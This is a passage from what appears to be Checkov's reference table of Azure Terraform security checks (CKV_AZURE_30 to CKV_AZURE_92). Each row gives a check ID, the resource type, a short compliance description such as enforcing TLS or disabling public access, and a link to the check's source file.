Terraform | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerSSLEnforcementEnabled.py)                                                   |\n| 3707 | CKV_AZURE_30    | resource | azurerm_postgresql_configuration                                 | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | Terraform | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogCheckpointsEnabled.py)                                                   |\n| 3708 | CKV_AZURE_31    | resource | azurerm_postgresql_configuration                                 | Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | Terraform | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogConnectionsEnabled.py)                                                   |\n| 3709 | CKV_AZURE_32    | resource | azurerm_postgresql_configuration                                 | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                                                                                                            | Terraform | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerConnectionThrottlingEnabled.py)                                       |\n| 3710 | CKV_AZURE_33    | resource | azurerm_storage_account                                          | Ensure Storage logging is enabled for Queue service for read, write and delete requests                                                                                                                  | Terraform | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountLoggingQueueServiceEnabled.py)                                             |\n| 3711 | CKV_AZURE_34    | resource | azurerm_storage_container                                        | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | Terraform | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobServiceContainerPrivateAccess.py)                                             |\n| 3712 | CKV_AZURE_35    | resource | azurerm_storage_account                                          | Ensure default network access rule for Storage Accounts is set to deny                                                                                                                                   | Terraform | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py)                                                 |\n| 3713 | CKV_AZURE_35    | resource | azurerm_storage_account_network_rules                            | Ensure default network access rule for Storage Accounts is set to deny                                                                                                                                   | Terraform | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py)                                                 |\n| 3714 | CKV_AZURE_36    | resource | azurerm_storage_account                                          | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                                                                                                                | Terraform | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py)                                             |\n| 3715 | CKV_AZURE_36    | resource | azurerm_storage_account_network_rules                            | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                                                                                                                | Terraform | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py)                                             |\n| 3716 | CKV_AZURE_37    | resource | azurerm_monitor_log_profile                                      | Ensure that Activity Log Retention is set 365 days or greater                                                                                                                                            | Terraform | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileRetentionDays.py)                                                                 |\n| 3717 | CKV_AZURE_38    | resource | azurerm_monitor_log_profile                                      | Ensure audit profile captures all the activities                                                                                                                                                         | Terraform | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileCategories.py)                                                                       |\n| 3718 | CKV_AZURE_39    | resource | azurerm_role_definition                                          | Ensure that no custom subscription owner roles are created                                                                                                                                               | Terraform | [CutsomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CutsomRoleDefinitionSubscriptionOwner.py)                                                   |\n| 3719 | CKV_AZURE_40    | resource | azurerm_key_vault_key                                            | Ensure that the expiration date is set on all keys                                                                                                                                                       | Terraform | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyExpirationDate.py)                                                                                           |\n| 3720 | CKV_AZURE_41    | resource | azurerm_key_vault_secret                                         | Ensure that the expiration date is set on all secrets                                                                                                                                                    | Terraform | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretExpirationDate.py)                                                                                     |\n| 3721 | CKV_AZURE_42    | resource | azurerm_key_vault                                                | Ensure the key vault is recoverable                                                                                                                                                                      | Terraform | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyvaultRecoveryEnabled.py)                                                                               |\n| 3722 | CKV_AZURE_43    | resource | azurerm_storage_account                                          | Ensure Storage Accounts adhere to the naming rules                                                                                                                                                       | Terraform | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountName.py)                                                                                         |\n| 3723 | CKV_AZURE_44    | resource | azurerm_storage_account                                          | Ensure Storage Account is using the latest version of TLS encryption                                                                                                                                     | Terraform | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountMinimumTlsVersion.py)                                                               |\n| 3724 | CKV_AZURE_45    | resource | azurerm_virtual_machine                                          | Ensure that no sensitive credentials are exposed in VM custom_data                                                                                                                                       | Terraform | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMCredsInCustomData.py)                                                                                       |\n| 3725 | CKV_AZURE_47    | resource | azurerm_mariadb_server                                           | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers                                                                                                                                  | Terraform | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBSSLEnforcementEnabled.py)                                                                     |\n| 3726 | CKV_AZURE_48    | resource | azurerm_mariadb_server                                           | Ensure 'public network access enabled' is set to 'False' for MariaDB servers                                                                                                                             | Terraform | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBPublicAccessDisabled.py)                                                                       |\n| 3727 | CKV_AZURE_49    | resource | azurerm_linux_virtual_machine_scale_set                          | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)                                                                                                                      | Terraform | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureScaleSetPassword.py)                                                                                   |\n| 3728 | CKV_AZURE_50    | resource | azurerm_linux_virtual_machine                                    | Ensure Virtual Machine Extensions are not Installed                                                                                                                                                      | Terraform | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py)                                                                               |\n| 3729 | CKV_AZURE_50    | resource | azurerm_windows_virtual_machine                                  | Ensure Virtual Machine Extensions are not Installed                                                                                                                                                      | Terraform | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py)                                                                               |\n| 3730 | CKV_AZURE_52    | resource | azurerm_mssql_server                                             | Ensure MSSQL is using the latest version of TLS encryption                                                                                                                                               | Terraform | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerMinTLSVersion.py)                                                                             |\n| 3731 | CKV_AZURE_53    | resource | azurerm_mysql_server                                             | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                                                                                                               | Terraform | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLPublicAccessDisabled.py)                                                                           |\n| 3732 | CKV_AZURE_54    | resource | azurerm_mysql_server                                             | Ensure MySQL is using the latest version of TLS encryption                                                                                                                                               | Terraform | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerMinTLSVersion.py)                                                                             |\n| 3733 | CKV_AZURE_55    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for Servers                                                                                                                                                      | Terraform | [AzureDefenderOnServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnServers.py)                                                                                 |\n| 3734 | CKV_AZURE_56    | resource | azurerm_function_app                                             | Ensure that function apps enables Authentication                                                                                                                                                         | Terraform | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsEnableAuthentication.py)                                                             |\n| 3735 | CKV_AZURE_57    | resource | azurerm_app_service                                              | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py)                                                                                 |\n| 3736 | CKV_AZURE_57    | resource | azurerm_linux_web_app                                            | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py)                                                                                 |\n| 3737 | CKV_AZURE_57    | resource | azurerm_windows_web_app                                          | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py)                                                                                 |\n| 3738 | CKV_AZURE_58    | resource | azurerm_synapse_workspace                                        | Ensure that Azure Synapse workspaces enables managed virtual networks                                                                                                                                    | Terraform | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesManagedVirtualNetworks.py)                                   |\n| 3739 | CKV_AZURE_59    | resource | azurerm_storage_account                                          | Ensure that Storage accounts disallow public access                                                                                                                                                      | Terraform | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDisablePublicAccess.py)                                                           |\n| 3740 | CKV_AZURE_61    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for App Service                                                                                                                                                  | Terraform | [AzureDefenderOnAppServices.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnAppServices.py)                                                                         |\n| 3741 | CKV_AZURE_62    | resource | azurerm_function_app                                             | Ensure function apps are not accessible from all regions                                                                                                                                                 | Terraform | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppDisallowCORS.py)                                                                               |\n| 3742 | CKV_AZURE_63    | resource | azurerm_app_service                                              | Ensure that App service enables HTTP logging                                                                                                                                                             | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py)                                                                     |\n| 3743 | CKV_AZURE_63    | resource | azurerm_linux_web_app                                            | Ensure that App service enables HTTP logging                                                                                                                                                             | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py)                                                                     |\n| 3744 | CKV_AZURE_63    | resource | azurerm_windows_web_app                                          | Ensure that App service enables HTTP logging                                                                                                                                                             | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py)                                                                     |\n| 3745 | CKV_AZURE_64    | resource | azurerm_storage_sync                                             | Ensure that Azure File Sync disables public network access                                                                                                                                               | Terraform | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncPublicAccessDisabled.py)                                                               |\n| 3746 | CKV_AZURE_65    | resource | azurerm_app_service                                              | Ensure that App service enables detailed error messages                                                                                                                                                  | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py)                                                 |\n| 3747 | CKV_AZURE_65    | resource | azurerm_linux_web_app                                            | Ensure that App service enables detailed error messages                                                                                                                                                  | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py)                                                 |\n| 3748 | CKV_AZURE_65    | resource | azurerm_windows_web_app                                          | Ensure that App service enables detailed error messages                                                                                                                                                  | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py)                                                 |\n| 3749 | CKV_AZURE_66    | resource | azurerm_app_service                                              | Ensure that App service enables failed request tracing                                                                                                                                                   | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py)                                                                   |\n| 3750 | CKV_AZURE_66    | resource | azurerm_linux_web_app                                            | Ensure that App service enables failed request tracing                                                                                                                                                   | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py)                                                                   |\n| 3751 | CKV_AZURE_66    | resource | azurerm_windows_web_app                                          | Ensure that App service enables failed request tracing                                                                                                                                                   | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py)                                                                   |\n| 3752 | CKV_AZURE_67    | resource | azurerm_function_app                                             | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | Terraform | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py)                                                                     |\n| 3753 | CKV_AZURE_67    | resource | azurerm_function_app_slot                                        | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | Terraform | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py)                                                                     |\n| 3754 | CKV_AZURE_68    | resource | azurerm_postgresql_server                                        | Ensure that PostgreSQL server disables public network access                                                                                                                                             | Terraform | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerPublicAccessDisabled.py)                                                     |\n| 3755 | CKV_AZURE_69    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for Azure SQL database servers                                                                                                                                   | Terraform | [AzureDefenderOnSqlServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServers.py)                                                                           |\n| 3756 | CKV_AZURE_70    | resource | azurerm_function_app                                             | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 3757 | CKV_AZURE_70    | resource | azurerm_function_app_slot                                        | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 3758 | CKV_AZURE_70    | resource | azurerm_linux_function_app                                       | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 3759 | CKV_AZURE_70    | resource | azurerm_linux_function_app_slot                                  | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 3760 | CKV_AZURE_70    | resource | azurerm_windows_function_app                                     | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 3761 | CKV_AZURE_70    | resource | azurerm_windows_function_app_slot                                | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py)                                                               |\n| 3762 | CKV_AZURE_71    | resource | azurerm_app_service                                              | Ensure that Managed identity provider is enabled for app services                                                                                                                                        | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py)                                                           |\n| 3763 | CKV_AZURE_71    | resource | azurerm_linux_web_app                                            | Ensure that Managed identity provider is enabled for app services                                                                                                                                        | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py)                                                           |\n| 3764 | CKV_AZURE_71    | resource | azurerm_windows_web_app                                          | Ensure that Managed identity provider is enabled for app services                                                                                                                                        | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py)                                                           |\n| 3765 | CKV_AZURE_72    | resource | azurerm_app_service                                              | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3766 | CKV_AZURE_72    | resource | azurerm_linux_function_app                                       | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3767 | CKV_AZURE_72    | resource | azurerm_linux_function_app_slot                                  | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3768 | CKV_AZURE_72    | resource | azurerm_linux_web_app                                            | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3769 | CKV_AZURE_72    | resource | azurerm_linux_web_app_slot                                       | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3770 | CKV_AZURE_72    | resource | azurerm_windows_function_app                                     | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3771 | CKV_AZURE_72    | resource | azurerm_windows_function_app_slot                                | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3772 | CKV_AZURE_72    | resource | azurerm_windows_web_app                                          | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3773 | CKV_AZURE_72    | resource | azurerm_windows_web_app_slot                                     | Ensure that remote debugging is not enabled for app services                                                                                                                                             | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py)                                                       |\n| 3774 | CKV_AZURE_73    | resource | azurerm_automation_variable_bool                                 | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 3775 | CKV_AZURE_73    | resource | azurerm_automation_variable_datetime                             | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 3776 | CKV_AZURE_73    | resource | azurerm_automation_variable_int                                  | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 3777 | CKV_AZURE_73    | resource | azurerm_automation_variable_string                               | Ensure that Automation account variables are encrypted                                                                                                                                                   | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py)                                                                                       |\n| 3778 | CKV_AZURE_74    | resource | azurerm_kusto_cluster                                            | Ensure that Azure Data Explorer (Kusto) uses disk encryption                                                                                                                                             | Terraform | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerUsesDiskEncryption.py)                                                                 |\n| 3779 | CKV_AZURE_75    | resource | azurerm_kusto_cluster                                            | Ensure that Azure Data Explorer uses double encryption                                                                                                                                                   | Terraform | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDataExplorerDoubleEncryptionEnabled.py)                                             |\n| 3780 | CKV_AZURE_76    | resource | azurerm_batch_account                                            | Ensure that Azure Batch account uses key vault to encrypt data                                                                                                                                           | Terraform | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountUsesKeyVaultEncryption.py)                                               |\n| 3781 | CKV_AZURE_77    | resource | azurerm_network_security_group                                   | Ensure that UDP Services are restricted from the Internet                                                                                                                                                | Terraform | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py)                                                                         |\n| 3782 | CKV_AZURE_77    | resource | azurerm_network_security_rule                                    | Ensure that UDP Services are restricted from the Internet                                                                                                                                                | Terraform | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py)                                                                         |\n| 3783 | CKV_AZURE_78    | resource | azurerm_app_service                                              | Ensure FTP deployments are disabled                                                                                                                                                                      | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py)                                                                                       |\n| 3784 | CKV_AZURE_78    | resource | azurerm_linux_web_app                                            | Ensure FTP deployments are disabled                                                                                                                                                                      | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py)                                                                                       |\n| 3785 | CKV_AZURE_78    | resource | azurerm_windows_web_app                                          | Ensure FTP deployments are disabled                                                                                                                                                                      | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py)                                                                                       |\n| 3786 | CKV_AZURE_79    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for SQL servers on machines                                                                                                                                      | Terraform | [AzureDefenderOnSqlServerVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServerVMS.py)                                                                       |\n| 3787 | CKV_AZURE_80    | resource | azurerm_app_service                                              | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                                                                                                                      | Terraform | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py)                                                             |\n| 3788 | CKV_AZURE_80    | resource | azurerm_windows_web_app                                          | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                                                                                                                      | Terraform | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py)                                                             |\n| 3789 | CKV_AZURE_81    | resource | azurerm_app_service                                              | Ensure that 'PHP version' is the latest, if used to run the web app                                                                                                                                      | Terraform | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePHPVersion.py)                                                                                     |\n| 3790 | CKV_AZURE_82    | resource | azurerm_app_service                                              | Ensure that 'Python version' is the latest, if used to run the web app                                                                                                                                   | Terraform | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePythonVersion.py)                                                                               |\n| 3791 | CKV_AZURE_83    | resource | azurerm_app_service                                              | Ensure that 'Java version' is the latest, if used to run the web app                                                                                                                                     | Terraform | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceJavaVersion.py)                                                                                   |\n| 3792 | CKV_AZURE_84    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for Storage                                                                                                                                                      | Terraform | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnStorage.py)                                                                                 |\n| 3793 | CKV_AZURE_85    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for Kubernetes                                                                                                                                                   | Terraform | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKubernetes.py)                                                                           |\n| 3794 | CKV_AZURE_86    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for Container Registries                                                                                                                                         | Terraform | [AzureDefenderOnContainerRegistry.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnContainerRegistry.py)                                                             |\n| 3795 | CKV_AZURE_87    | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender is set to On for Key Vault                                                                                                                                                    | Terraform | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKeyVaults.py)                                                                             |\n| 3796 | CKV_AZURE_88    | resource | azurerm_app_service                                              | Ensure that app services use Azure Files                                                                                                                                                                 | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py)                                                                             |\n| 3797 | CKV_AZURE_88    | resource | azurerm_linux_web_app                                            | Ensure that app services use Azure Files                                                                                                                                                                 | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py)                                                                             |\n| 3798 | CKV_AZURE_88    | resource | azurerm_windows_web_app                                          | Ensure that app services use Azure Files                                                                                                                                                                 | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py)                                                                             |\n| 3799 | CKV_AZURE_89    | resource | azurerm_redis_cache                                              | Ensure that Azure Cache for Redis disables public network access                                                                                                                                         | Terraform | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCachePublicNetworkAccessEnabled.py)                                                     |\n| 3800 | CKV_AZURE_91    | resource | azurerm_redis_cache                                              | Ensure that only SSL are enabled for Cache for Redis                                                                                                                                                     | Terraform | [RedisCacheEnableNonSSLPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheEnableNonSSLPort.py)                                                                         |\n| 3801 | CKV_AZURE_92    | resource | azurerm_linux_virtual_machine                                    | Ensure that Virtual Machines use managed disks                                                                                                                                                           | Terraform | 